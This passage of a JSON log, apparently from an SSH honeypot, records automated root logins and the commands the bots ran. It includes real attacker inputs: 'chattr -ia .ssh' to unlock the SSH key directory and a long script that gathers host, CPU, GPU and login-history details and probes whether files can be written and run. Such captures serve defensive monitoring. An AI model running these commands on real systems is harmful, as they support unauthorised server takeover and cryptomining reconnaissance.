  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "d55378da-5c49-441c-9f79-117026b658ef",
  "name": "dutiful-forlorn-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 57584,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:13:08.873273+00:00",
  "ended_at": "2026-08-25T22:13:10.661293+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "d2ccf448-cf95-4aaa-af1c-3a2868501cbb",
  "name": "ruddy-bold-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 43866,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:10:01.588098+00:00",
  "ended_at": "2026-08-25T22:10:03.595831+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "bb17a0cb-984a-47e4-a7a4-3edfff41ef91",
  "name": "thrifty-downy-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 35732,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:09:38.228607+00:00",
  "ended_at": "2026-08-25T22:09:39.764730+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "e7bbb7dc-3457-44d9-b00c-8a17259fad56",
  "name": "kindly-painted-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 32888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:08:04.636448+00:00",
  "ended_at": "2026-08-25T22:08:06.625574+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "386a6838-f30c-4c9d-82fe-e65e35dd9b0f",
  "name": "hearty-breezy-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 42924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:04:28.685097+00:00",
  "ended_at": "2026-08-25T22:04:28.929096+00:00",
  "ended_reason": "exec complete",
  "commands": 10,
  "transcript_bytes": 1353
 },
 {
  "id": "63af7c2a-90e4-4cae-8d6d-602f5002e3fb",
  "name": "forlorn-sleepy-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "104.43.56.65",
  "src_port": 42928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T22:03:57.814109+00:00",
  "ended_at": "2026-08-25T22:04:28.930634+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4291200-72b6-4ccd-8b71-511dec8019eb",
  "name": "dusky-pleasant-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.42.200",
  "src_port": 13544,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T21:25:55.560802+00:00",
  "ended_at": "2026-08-25T21:25:56.696187+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02d24a53-b8a1-475b-9430-57bff8df9935",
  "name": "dapper-umber-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "107.150.103.210",
  "src_port": 26246,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T21:16:25.635410+00:00",
  "ended_at": "2026-08-25T21:16:25.703055+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3446
 },
 {
  "id": "da5eda16-49fc-430c-86bb-0bb66e6d8dd1",
  "name": "inland-northern-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "179.176.210.17",
  "src_port": 50911,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T21:02:56.809584+00:00",
  "ended_at": "2026-08-25T21:02:57.678439+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0903140c-9f30-4e3a-ae93-e767f9068d3f",
  "name": "dutiful-bold-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "64.23.151.46",
  "src_port": 52086,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:51:16.926024+00:00",
  "ended_at": "2026-08-25T20:51:17.431331+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c8e48f1-72bb-4b89-9aac-2d3b2582828c",
  "name": "early-amber-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.110",
  "src_port": 53940,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:42:01.474427+00:00",
  "ended_at": "2026-08-25T20:42:01.779219+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7d634c94-2fca-4d76-84ce-f73a58f8cf59",
  "name": "sooty-lunar-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "185.242.3.121",
  "src_port": 62762,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:26:13.828804+00:00",
  "ended_at": "2026-08-25T20:26:14.566143+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bcc62690-6b13-4e09-9252-beb72e7c31f1",
  "name": "early-foggy-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "106.58.173.254",
  "src_port": 47404,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T20:09:26.888493+00:00",
  "ended_at": "2026-08-25T20:13:27.452111+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "363f34e1-fc48-42df-a921-01e431b5c77e",
  "name": "wandering-coastal-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "124.156.173.135",
  "src_port": 51870,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 673,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T19:55:06.836657+00:00",
  "ended_at": "2026-08-25T19:55:07.041931+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3981
 },
 {
  "id": "89a4ab21-056a-4cc5-a4a7-953dc032b932",
  "name": "oaken-vigilant-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "124.156.173.135",
  "src_port": 41306,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:54:48.203857+00:00",
  "ended_at": "2026-08-25T19:54:48.541393+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "70e88cf4-02fa-423f-a84f-e35305e39143",
  "name": "whispering-nameless-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "124.156.173.135",
  "src_port": 53842,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:54:31.678577+00:00",
  "ended_at": "2026-08-25T19:54:33.021936+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bdd84f3b-538a-4baf-89e9-2996cdfc8004",
  "name": "sincere-gleaming-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "64.89.161.91",
  "src_port": 20846,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:27:11.952845+00:00",
  "ended_at": "2026-08-25T19:27:12.493255+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a959c347-50b7-4c57-9631-e8021a61f9cf",
  "name": "placid-serene-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.50",
  "src_port": 31370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:09:28.400664+00:00",
  "ended_at": "2026-08-25T19:09:29.611036+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5326096-2b77-48e8-bdd6-0d7bfe11427d",
  "name": "languid-glassy-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "106.58.173.254",
  "src_port": 60938,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:07:04.641698+00:00",
  "ended_at": "2026-08-25T19:08:03.382250+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bdeaeea7-fe42-44c0-a461-99c791be3b19",
  "name": "russet-knotted-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 58720,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:47:03.095259+00:00",
  "ended_at": "2026-08-25T18:47:03.187031+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9356bcf2-3edd-4edd-ae25-488df06a5a96",
  "name": "prairie-opal-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 55752,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:45:27.860358+00:00",
  "ended_at": "2026-08-25T18:45:27.986334+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5ccbeb0e-0ea8-4f42-b4e2-841366f52c90",
  "name": "peaty-sunlit-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 52784,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:43:50.611796+00:00",
  "ended_at": "2026-08-25T18:43:50.736646+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e0923ec0-e6c9-4234-bc5f-b42d25456845",
  "name": "gallant-tangled-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 49854,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:42:19.004725+00:00",
